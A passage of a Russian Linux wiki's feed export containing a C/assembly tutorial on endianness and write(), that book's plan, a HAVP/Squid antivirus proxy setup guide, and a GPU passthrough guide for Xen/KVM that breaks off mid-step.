Давайте пока разберемся, что же это за значение &amp;lt;code&amp;gt;0x4142434445464748ULL&amp;lt;/code&amp;gt; и почему оно превращается в последовательность латинских букв &amp;lt;code&amp;gt;HGFEDCBA&amp;lt;/code&amp;gt;. Есть таблица соответствия определенных символов определенным кодам. В соответствии с этой таблицей, код &amp;lt;code&amp;gt;0x41&amp;lt;/code&amp;gt; это символ &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, код &amp;lt;code&amp;gt;0x42&amp;lt;/code&amp;gt; это символ &amp;lt;code&amp;gt;B&amp;lt;/code&amp;gt;, код &amp;lt;code&amp;gt;0x43&amp;lt;/code&amp;gt; это символ &amp;lt;code&amp;gt;C&amp;lt;/code&amp;gt; и так далее. Но почему мы тогда получили вместо &amp;lt;code&amp;gt;ABCDEFG&amp;lt;/code&amp;gt; последовательность &amp;lt;code&amp;gt;HGFEDCBA&amp;lt;/code&amp;gt; ? Ответ кроется в порядке байт (endianness), который принят в архитектуре x86 и x86-64. Более подробно этот момент освещен в [https://ru.wikipedia.org/wiki/Порядок_байтов соответствующей статье на вики]&lt;br /&gt;
&lt;br /&gt;
Взглянем на вывод нашей программы:&lt;br /&gt;
&lt;br /&gt;
  val_char:&lt;br /&gt;
  H&lt;br /&gt;
  val_short:&lt;br /&gt;
  HG&lt;br /&gt;
  val_long:&lt;br /&gt;
  HGFEDCBA&lt;br /&gt;
  val_long_long:&lt;br /&gt;
  HGFEDCBA&lt;br /&gt;
  val_int:&lt;br /&gt;
  HGFE&lt;br /&gt;
  val_short_int:&lt;br /&gt;
  HG&lt;br /&gt;
  val_long_int:&lt;br /&gt;
  HGFEDCBA&lt;br /&gt;
  val_long_long_int:&lt;br /&gt;
  HGFEDCBA&lt;br /&gt;
  val__int128:&lt;br /&gt;
  PONMLKJIHGFEDCBA&lt;br /&gt;
&lt;br /&gt;
Для &amp;lt;code&amp;gt;val_char&amp;lt;/code&amp;gt; вывелась всего одна буква - это всё оттого, что размер у типа char на нашей платорме - 1 байт. Но вообще, размер char всегда будет 1 байт, но сам байт не всегда может состоять из 8 бит.&lt;br /&gt;
Из нашего присвоения&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
  const char val_char = 0x4142434445464748ULL;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
в переменную &amp;lt;code&amp;gt;val_char&amp;lt;/code&amp;gt; записался только самый конец - &amp;lt;code&amp;gt;0x48&amp;lt;/code&amp;gt; - который соответствует символу &amp;lt;code&amp;gt;H&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для &amp;lt;code&amp;gt;val_short&amp;lt;/code&amp;gt; вывелось уже целых две буквы &amp;lt;code&amp;gt;HG&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
  const short val_short = 0x4142434445464748ULL;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Тут можно заменить это на &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
  const short val_short = 0x4748;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
и поведение останется тем же. Компилятор просто срезает все старшие разряды, оставляя только этот кусочек &amp;lt;code&amp;gt;0x4748&amp;lt;/code&amp;gt;. И выводится у нас сначала &amp;lt;code&amp;gt;H&amp;lt;/code&amp;gt; и потом &amp;lt;code&amp;gt;G&amp;lt;/code&amp;gt; из-за little-endian порядка байт. Для всех прочих типов история повторяется.&lt;br /&gt;
&lt;br /&gt;
Рассмотрим более подробно некоторые моменты.&lt;br /&gt;
&lt;br /&gt;
Вот например строчка &amp;lt;code&amp;gt;write(STDOUT_FILENO, &amp;quot;val_char:\n&amp;quot;, sizeof(&amp;quot;val_char:\n&amp;quot;)-1);&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
и строчка &amp;lt;code&amp;gt;write(STDOUT_FILENO, &amp;quot;val_short:\n&amp;quot;, sizeof(&amp;quot;val_short:\n&amp;quot;)-1);&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
и прочие строчки, подобные ей. Что тут происходит? Функция write, как ранее уже было сказано, является сишной оберткой над линуксовым системным вызовом write. Более подробно о нем можно почитать [https://en.wikipedia.org/wiki/Write_(system_call) в соотвествующей статье на википедии], можно еще набрать &amp;lt;code&amp;gt;man 2 write&amp;lt;/code&amp;gt; или почитать в интернете: https://linux.die.net/man/2/write. Первым аргументом эта функция принимает номер файлового дескриптора, в данном случае это у нас &amp;lt;code&amp;gt;STDOUT_FILENO&amp;lt;/code&amp;gt; который определен в заглавочном файле &amp;lt;code&amp;gt;unistd.h&amp;lt;/code&amp;gt;, его обычно можно найти по адресу &amp;lt;code&amp;gt;/usr/include/unistd.h&amp;lt;/code&amp;gt;, там же определен прототип функции write().&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
/* Write N bytes of BUF to FD.  Return the number written, or -1.&lt;br /&gt;
&lt;br /&gt;
   This function is a cancellation point and therefore not marked with&lt;br /&gt;
   __THROW.  */&lt;br /&gt;
extern ssize_t write (int __fd, const void *__buf, size_t __n) __wur;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И тут видно, что первый аргумент &amp;lt;code&amp;gt;int&amp;lt;/code&amp;gt;, второй &amp;lt;code&amp;gt;void *&amp;lt;/code&amp;gt;, третий &amp;lt;code&amp;gt;size_t&amp;lt;/code&amp;gt;. Первый аргумент это номер файлового дескриптора. &amp;lt;code&amp;gt;STDOUT_FILENO&amp;lt;/code&amp;gt; определен во все том же файле &amp;lt;code&amp;gt;unistd.h&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
/* Standard file descriptors.  */&lt;br /&gt;
#define STDIN_FILENO    0       /* Standard input.  */&lt;br /&gt;
#define STDOUT_FILENO   1       /* Standard output.  */&lt;br /&gt;
#define STDERR_FILENO   2       /* Standard error output.  */&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Т.е. если написать &amp;lt;code&amp;gt;write(0, &amp;quot;val_char:\n&amp;quot;, sizeof(&amp;quot;val_char:\n&amp;quot;)-1);&amp;lt;/code&amp;gt; вместо &amp;lt;code&amp;gt;write(STDOUT_FILENO, &amp;quot;val_char:\n&amp;quot;, sizeof(&amp;quot;val_char:\n&amp;quot;)-1);&amp;lt;/code&amp;gt; - будет то же самое. Про данный заглавочный файл еще сказано в POSIX.1-2017: http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/unistd.h.html :&lt;br /&gt;
&lt;br /&gt;
  The &amp;lt;unistd.h&amp;gt; header shall define the following symbolic constants for file streams:&lt;br /&gt;
  &lt;br /&gt;
  STDERR_FILENO&lt;br /&gt;
      File number of stderr; 2.&lt;br /&gt;
  STDIN_FILENO&lt;br /&gt;
      File number of stdin; 0.&lt;br /&gt;
  STDOUT_FILENO&lt;br /&gt;
      File number of stdout; 1. &lt;br /&gt;
&lt;br /&gt;
Параметр &amp;lt;code&amp;gt;const void *__buf&amp;lt;/code&amp;gt; это указатель на данные, которые мы выводим. Спецификатор const означает, что данные через этот указатель не могут быть изменены, а только лишь прочитаны. Функция &amp;lt;code&amp;gt;write()&amp;lt;/code&amp;gt; пишет из памяти в файл, этим мы говорим что она не меняет те данные, которые она пишет в файл. Более полно этот момент освещен в https://stackoverflow.com/a/34842262&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Насчет вот этого &amp;lt;code&amp;gt;__wur&amp;lt;/code&amp;gt; - эта штука определена через макрос и может быть раскрыта в специальный атрибут для компилятора GCC, который применяется только при определенном значении &amp;lt;code&amp;gt;__USE_FORTIFY_LEVEL&amp;lt;/code&amp;gt; - https://sourceware.org/git/?p=glibc.git;a=blob;f=misc/sys/cdefs.h;h=88bc7ac94209ca7742b13c23dfe25f45aa9c5a54;hb=HEAD#l303 (в общем это пока что неважно)&lt;br /&gt;
&lt;br /&gt;
{{Доработка&lt;br /&gt;
 |reason=«размеры типов, пример кода etc»}}&lt;br /&gt;
&lt;br /&gt;
=== Арифметические операции. Адресная арифметика, указатели, указатели на указатели, указатели на функции, сигнатуры функций, разыменования и прочее. Явное и неявное преобразование типов в C ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdint.h&amp;gt;&lt;br /&gt;
#include &amp;lt;inttypes.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main ()&lt;br /&gt;
{&lt;br /&gt;
  …&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Доработка}}&lt;br /&gt;
&lt;br /&gt;
===struct, union, bit field, memset, memcpy, type punning, strict aliasing rule===&lt;br /&gt;
&lt;br /&gt;
===argv, argc, envp, getenv, getopt===&lt;br /&gt;
&lt;br /&gt;
===Некоторые алгоритмы и структуры данных===&lt;br /&gt;
&lt;br /&gt;
===switch, case, goto, область видимости (scope), рекурсия, приоритеты операторов в Си===&lt;br /&gt;
&lt;br /&gt;
===Краткий обзор стандартной библиотеки Си, полезные ссылки===&lt;br /&gt;
&lt;br /&gt;
===malloc, realloc, free, mmap, mremap===&lt;br /&gt;
&lt;br /&gt;
===Пишем простейший стековый калькулятор (обратная польская нотация)===&lt;br /&gt;
&lt;br /&gt;
===shared memory, SysV IPC, shared memory, mmap, отображение файла в память процесса, mremap, mprotect, fork, clone, mutex etc...===&lt;br /&gt;
&lt;br /&gt;
===Сокеты, tcp, udp, raw socket, select, poll, epoll===&lt;br /&gt;
&lt;br /&gt;
===Привилегии процесса, вызовы getrlimit(2), setrlimit(2), setuid(2), seteuid(2)…===&lt;br /&gt;
&lt;br /&gt;
{{Доработка&lt;br /&gt;
 |reason=SUPER MEGA TODO&lt;br /&gt;
* «рассказать про GNU as поподробнее. Разобрать структуру ELF файла(разделения на сегменты, адресное пространство процесса (/proc/pid/maps) ), дать описания этим .align .globl и проч. Дать описания инструкциям, которые тут встречаюься (push pop mov xor add ret call), регистров и их назначение»&lt;br /&gt;
&lt;br /&gt;
* «включить(перевести) материал из https://www3.nd.edu/~dthain/courses/cse40243/fall2015/intel-intro.html https://beginners.re/ лицензированный под CC BY-SA 4.0. Следует также рассмотреть возможность адаптации материалов из https://en.wikibooks.org/wiki/X86_Disassembly для включения их сюда»&lt;br /&gt;
&lt;br /&gt;
* «написать про процесс компиляции вообще, что компилятор создает .s файл, потом вызывается as, потом происходит линковка»&lt;br /&gt;
&lt;br /&gt;
* «добавить пояснений по поводу 0.3 хелловорда»&lt;br /&gt;
&lt;br /&gt;
* «дописать про линковку, Linker Scripts, objdump объектных файлов»&lt;br /&gt;
&lt;br /&gt;
* «jmp, control flow инструкции (je jne CMOVcc), флаги https://en.wikipedia.org/wiki/FLAGS_register , циклы, вызов си из ассемблера и ассемблера из си»&lt;br /&gt;
&lt;br /&gt;
* «разобрать системные вызовы, написать хелловорд и разобрать его работу»&lt;br /&gt;
&lt;br /&gt;
* …and moar todo!!!!111111 (пустые разделы выше)&lt;br /&gt;
&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Программирование и отладка на C/ASM]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%BE%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0_%D0%BD%D0%B0_C_%D0%B8_ASM&amp;diff=343</id>
		<title>Программирование и отладка на C и ASM</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%BE%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0_%D0%BD%D0%B0_C_%D0%B8_ASM&amp;diff=343"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Книга будет посвящена программированию на языке Си и ассемблера, притом они будут рассказываться параллельно, т. е. на примере кода на ассемблере будет объясняться Си, и на примере кода на Си будет объясняться ассемблер. Кроме того, будет затронута тема отладки через GDB, использование strace, ltrace, valgrind. Будет рассказано про системные вызовы и прочее…&lt;br /&gt;
&lt;br /&gt;
Неструктурированный поток информации, которую надо разложить на разделы, главы:&lt;br /&gt;
Сначала будет традиционный «hello world» и его детальный разбор. Будет написано несколько хеллоувордов, один будет состоять из одного &amp;lt;tt&amp;gt;puts()&amp;lt;/tt&amp;gt;, другой — из вызовов двух &amp;lt;tt&amp;gt;puts()&amp;lt;/tt&amp;gt;, третий — из &amp;lt;tt&amp;gt;write(STDOUT_FILENO)&amp;lt;/tt&amp;gt; и четвертый — из двух &amp;lt;tt&amp;gt;write()&amp;lt;/tt&amp;gt;. Будет сказано про то, что из себя представляет строка (нуль‐терминированная Си строка — предполагается использование символов только из набора ASCII). Будет про то, как скомпилировать чтобы получить объектные файлы, и потом слинковать (через ld). Но и про случай с линковкой через gcc сразу (хотя GCC будет там в любом случае под капотом вызывать ld, об этом надо непременно сообщить). Про то, как получить ассемблерный листинг от компилятора (опция &amp;lt;tt&amp;gt;-S&amp;lt;/tt&amp;gt;) и это будет применено к всем видам хеллоувордов, с последующим объяснением, что конкретно значат эти ассемблерные листинги. Про дизассемблирование через objdump тоже будет непременно сказано. Будет приведен пример «хеллоуворда с ошибкой», т. е. например если сделать не нуль‐терминированную строку (просто массив, который нулем не заканчивается), попробовать ее вывести через тот самый &amp;lt;tt&amp;gt;puts&amp;lt;/tt&amp;gt; и пробовать запустить это. Это же применительно к &amp;lt;tt&amp;gt;write(STDOUT_FILENO)&amp;lt;/tt&amp;gt; с размером, превышающим фактический размер строки. Запуск вариантов с ошибками и без ошибок под под &amp;lt;tt&amp;gt;valgrind&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;strace&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;ltrace&amp;lt;/tt&amp;gt;. Про отличия &amp;lt;tt&amp;gt;puts&amp;lt;/tt&amp;gt; от &amp;lt;tt&amp;gt;write(STDOUT_FILENO)&amp;lt;/tt&amp;gt;, рассказ про системные вызовы, файловые дескрипторы. Рассказ о том, как через &amp;lt;tt&amp;gt;open&amp;lt;/tt&amp;gt; или &amp;lt;tt&amp;gt;fopen&amp;lt;/tt&amp;gt; создать файл и вывести в него текст через &amp;lt;tt&amp;gt;write&amp;lt;/tt&amp;gt; и &amp;lt;tt&amp;gt;fputs&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Дальше: пользовательский ввод через &amp;lt;tt&amp;gt;gets&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;read&amp;lt;/tt&amp;gt; из stdout. Например, программа пишет «введите свое имя» — ожидает ввода имени — отвечает &amp;lt;tt&amp;gt;привет, %имя%.&amp;lt;/tt&amp;gt;. Чтение из файлов через &amp;lt;tt&amp;gt;read fgets&amp;lt;/tt&amp;gt; (надо открыть через &amp;lt;tt&amp;gt;open fopen&amp;lt;/tt&amp;gt;, прежде чем читать, и чтобы было разрешение на чтение — это понятно). Примеры ошибок, позапускать через &amp;lt;tt&amp;gt;valgrind&amp;lt;/tt&amp;gt;. (пока что на таких примерах показать полезность отладчика — задача нелегкая. Надо будет подумать насчет того, чтобы сделать некий специально ошибочный код, и попросить в нем выловить баги через отладку). Позапускать через &amp;lt;tt&amp;gt;strace ltrace&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Дальше: арифметические операции, обычные &amp;lt;tt&amp;gt;goto&amp;lt;/tt&amp;gt; и метки, конструкция &amp;lt;tt&amp;gt;if (условие) goto метка&amp;lt;/tt&amp;gt;. Простейший цикл из &amp;lt;tt&amp;gt;if (условие) goto метка&amp;lt;/tt&amp;gt;, который делает нечто n‐ное количество раз, например выводит «hello world». Разбор ассемблерного выхлопа. Разбор конструкции &amp;lt;tt&amp;gt;if (условие) {действие;}&amp;lt;/tt&amp;gt; и ассемблерного выхлопа. Аналогично для конструкции &amp;lt;tt&amp;gt;if (условие) {действие;} else {действие;}&amp;lt;/tt&amp;gt;. Рассказ о том, что такое &amp;lt;tt&amp;gt;{}&amp;lt;/tt&amp;gt; (скоуп, область видмиости, блок кода). Понятие «стека» в ассемблере для выделения памяти под локальные переменные. Небольшой такой рассказ про глобальные переменные, чем отличается объявление глобальной и локальной переменной с т. з. ассемблера. Рассказ про циклы и их эквивалентность (заменяемость) конструкцией &amp;lt;tt&amp;gt;if (условие) goto метка&amp;lt;/tt&amp;gt;. Теперь уже можно «побродить» по коду через отладчик, посмотреть как «исполняемое» место через эти if—goto и циклы перепрыгивает.&lt;br /&gt;
&lt;br /&gt;
Можно пообъяснять ассемблер поподробнее, и попросить что‐то писать непосредственно на ассемблере, а не только читать код, выдаваемый компилятором&lt;br /&gt;
&lt;br /&gt;
Дальше — больше. Текст плана работ находится в процессе доработки.&lt;br /&gt;
&lt;br /&gt;
Начало положено: [[Программирование и отладка на C и ASM — Первые программы. Знакомство с C и ассемблером. Компиляция, линковка, код возврата. Вывод текста.]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Программирование и отладка на C/ASM]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0_%D0%B2%D0%B5%D0%B1-%D1%82%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_clamav&amp;diff=341</id>
		<title>Проверка веб-трафика с помощью clamav</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0_%D0%B2%D0%B5%D0%B1-%D1%82%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_clamav&amp;diff=341"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Общее ==&lt;br /&gt;
&lt;br /&gt;
Для онлайн-проверки на вирусы веб-трафика можно использовать [http://www.server-side.de HAVP] (HTTP AntiVirus proxy). Мы рассмотрим использование его в паре со Squid:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;Пользователь→Squid→Havp→WWW&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Здесь Squid является прозрачным кэширующим прокси с ведением статистики, поэтому havp установлен после него. [http://lissyara.su Lissyara] приводит и другие аргументы в пользу такой схемы.&lt;br /&gt;
&lt;br /&gt;
== Установка ==&lt;br /&gt;
&lt;br /&gt;
Предположим, что squid уже установлен и настроен. Устанавливаем havp и вносим изменения в конфиг havp (&amp;lt;tt&amp;gt;/etc/havp/havp.config&amp;lt;/tt&amp;gt;). Закомментируем строку &amp;lt;tt&amp;gt;REMOVETHISLINE deleteme&amp;lt;/tt&amp;gt; и раскомментируем следующее:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
USER havp&lt;br /&gt;
GROUP havp&lt;br /&gt;
DAEMON true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Меняем значение переменной (в зависимости от нагрузки):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SERVERNUMBER 20 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Раскомментируем:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PORT 8080 &lt;br /&gt;
BIND_ADDRESS 127.0.0.1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
В &amp;lt;tt&amp;gt;/etc/havp/templates/en&amp;lt;/tt&amp;gt; поле &amp;lt;tt&amp;gt;TEMPLATEPATH&amp;lt;/tt&amp;gt; меняем &amp;lt;tt&amp;gt;en&amp;lt;/tt&amp;gt; на &amp;lt;tt&amp;gt;ru&amp;lt;/tt&amp;gt; и удостоверяемся, что незакомментирована строка &amp;lt;tt&amp;gt;ENABLECLAMLIB true&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Стартуем havp — &amp;lt;tt&amp;gt;/etc/init.d/havp start&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Вносим изменения в настройки squid:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cache_peer 127.0.0.1 parent 8080 0 &lt;br /&gt;
always_direct allow SSL_Ports &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Перезапускаем squid — &amp;lt;tt&amp;gt;/etc/init.d/squid restart&amp;lt;/tt&amp;gt; или &amp;lt;tt&amp;gt;systemctl restart squid&amp;lt;/tt&amp;gt; (если у вас systemd). Если нет delay pools, то можно сделать и reload.&lt;br /&gt;
&lt;br /&gt;
== Проверка ==&lt;br /&gt;
&lt;br /&gt;
Проверить, что havp слушает, можно командой &amp;lt;tt&amp;gt;netstat -an | grep 8080&amp;lt;/tt&amp;gt;.&lt;br /&gt;
 &lt;br /&gt;
Проверить связку можно по адресу http://www.eicar.org/anti_virus_test_file.htm.&lt;br /&gt;
&lt;br /&gt;
== Источники ==&lt;br /&gt;
&lt;br /&gt;
* http://ylsoftware.com/?action=news&amp;amp;amp;na=viewfull&amp;amp;amp;news=390&lt;br /&gt;
&lt;br /&gt;
* http://www.lissyara.su/?id=1662&lt;br /&gt;
&lt;br /&gt;
* http://www.linux16.net/node/390&lt;br /&gt;
&lt;br /&gt;
[[Category:Администрирование]]&lt;br /&gt;
[[Category:Сети и интернет]]&lt;br /&gt;
[[Category:Безопасность]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B1%D1%80%D0%BE%D1%81_%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D1%8B_%D0%B2_%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%83%D1%8E_%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D1%83&amp;diff=339</id>
		<title>Проброс видеокарты в виртуальную машину</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B1%D1%80%D0%BE%D1%81_%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D1%8B_%D0%B2_%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%83%D1%8E_%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D1%83&amp;diff=339"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Проброс видеокарты в виртуальную машину.&lt;br /&gt;
&lt;br /&gt;
В целом, я оставлю тут все, что я использовал в течение уже нескольких месяцев для своего компа, чтобы те, кто заинтересуются использованием видеокарты в гостевой системе могли разобраться что к чему =)&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы использовать видеокарту внутри xen или kvm нужны следующие вещи:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Видеокарта с поддержкой проброса.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Любая видеокарта для хоста. Конечно можно обойтись и одной, но тогда теряется весь смысл затеи.&lt;br /&gt;
&lt;br /&gt;
# Материнская плата с блоком управления памятью ввода/вывода(IOMMU)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* в случае процессоров/чипсетов от AMD эта технология называется AMD-Vi и важен только чипсет. на данный момент это 890FX, и по идее вся серия 990 чипсетов. процессор может быть любым, но должен иметь аппаратную виртуализацию(AMD-V).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* В случае процессоров/чипсетов от Intel эта технология называется VT-d и важна поддержка как в чипсете, так и в процессоре.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* В не зависимости от выбранной платформы в биосе материнской платы должны быть реализованы IVRS/DMAR таблицы. Это основная проблема, перед выбором материнской платы, лучше погуглить насчет успехов использования iommu на данной плате.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
:Железо, которое было использовано у меня:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* Материнская плата: Gigabyte GA-990FXA-D3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* Видеокарта: Msi Twin Razr III R7870&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* Процессор: AMD Phenom II x6 1090T&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::* Ядро: 3.4&lt;br /&gt;
&lt;br /&gt;
::* xen 4.1.2&lt;br /&gt;
&lt;br /&gt;
::* kvm 1.0.1&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Подговтока к пробросу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Эти действия не зависят от выбранной системы виртуализации, мы подготовим видеокарту к пробросу и применим некоторые костыли для обхода багов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Сначала нужно перезагрузится в биос и включить там IOMMU. Так же надо установить ту видеокарту, которая будет основной для хоста в качестве основной для хоста +) т.е. чтобы сам POST биоса проходил на той видеокарте, которая '''НЕ''' планируется для проброса в гостевую систему.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Прежде чем продолжить, надо проверить что IOMMU вообще работает.&lt;br /&gt;
&lt;br /&gt;
Можно проверить так:&lt;br /&gt;
 dmesg | grep -iE &amp;quot;(iommu|vt-d)&amp;quot; -a1&lt;br /&gt;
А если вы уже загрузились в Xen, это можно сделать примерно так:&lt;br /&gt;
  # xm dmesg | grep -i iommu -a2&lt;br /&gt;
 (XEN) Detected 3547.487 MHz processor.&lt;br /&gt;
 (XEN) Initing memory sharing.&lt;br /&gt;
 (XEN) AMD-Vi: IOMMU 0 Enabled.&lt;br /&gt;
 (XEN) I/O virtualisation enabled&lt;br /&gt;
 (XEN)  - Dom0 mode: Relaxed&lt;br /&gt;
&lt;br /&gt;
Для платформы Intel там будут сообщения о VT-d, вместо AMD-Vi.&lt;br /&gt;
&lt;br /&gt;
Затем, для уменьшения потенциального количества глюков добавить модуль ядра radeon и/или fglrx в blacklist, для того, чтобы не загружать драйвер для видеокарты на хосте, т.к. мы все равно ее будем отправлять в гостевую систему, а динамическое отключение драйвера может добавить несколько неприятностей. Нужно прописать в файле /etc/modprobe.d/blacklist.conf :&lt;br /&gt;
   blacklist fglrx&lt;br /&gt;
   blacklist radeon&lt;br /&gt;
*есть небольшая проблема, если вторая видеокарта в вашей системе - тоже AMD, то при таком раскладе драйвер для нее не загрузится. Тут в принципе три варианта: либо не прописывать radeon/fglrx в blacklist, либо загружать эти модули уже после подключения нужной видеокарты к pci-stub, либо написать правило для udev. Так что, в случае если у вас обе видеокарты AMD, то добавляйте модули в blacklist если возникнут проблемы.&lt;br /&gt;
&lt;br /&gt;
Теперь нужно подготовить видеокарту к пробросу, отключив ее от драйвера на хосте и подключив к специальному ничего-не-делающему драйверу pci-stub. Если присутствуют hdmi/displayport видеовыходы, то на видеокарте есть встроенная звуковая карта, ее так же нужно подключить к pci-stub. Проверить можно через lspci:&lt;br /&gt;
&lt;br /&gt;
   01:00.0 VGA compatible controller: ATI Technologies Inc PITCAIRN [Radeon HD 7800]&lt;br /&gt;
   01:00.1 Audio device: ATI Technologies Inc Device aab0&lt;br /&gt;
&lt;br /&gt;
Как мы видим, 01:00.0 - видеочип, а 01:00.1 - звуковой чип. Затем, нам нужны vendor id и device id. посмотреть можно запустив lspci с ключем -n&lt;br /&gt;
&lt;br /&gt;
   01:00.0 0300: 1002:6818&lt;br /&gt;
   01:00.1 0403: 1002:aab0&lt;br /&gt;
&lt;br /&gt;
Теперь подключаем железки к pci-stub&lt;br /&gt;
&lt;br /&gt;
   #говорим pci-stub, что он может работать с нашей видеокартой.&lt;br /&gt;
   echo &amp;quot;1002 6818&amp;quot; &amp;gt; /sys/bus/pci/drivers/pci-stub/new_id &amp;lt;br/&amp;gt;&lt;br /&gt;
   #следующие строчки отключат видеокарту от текущего драйвера и подключат ее к pci-stub.&lt;br /&gt;
   #Если вы уже прописали в blacklist модули radeon/fglrx, то соответственно не нужно отключать/подключать устройство,&lt;br /&gt;
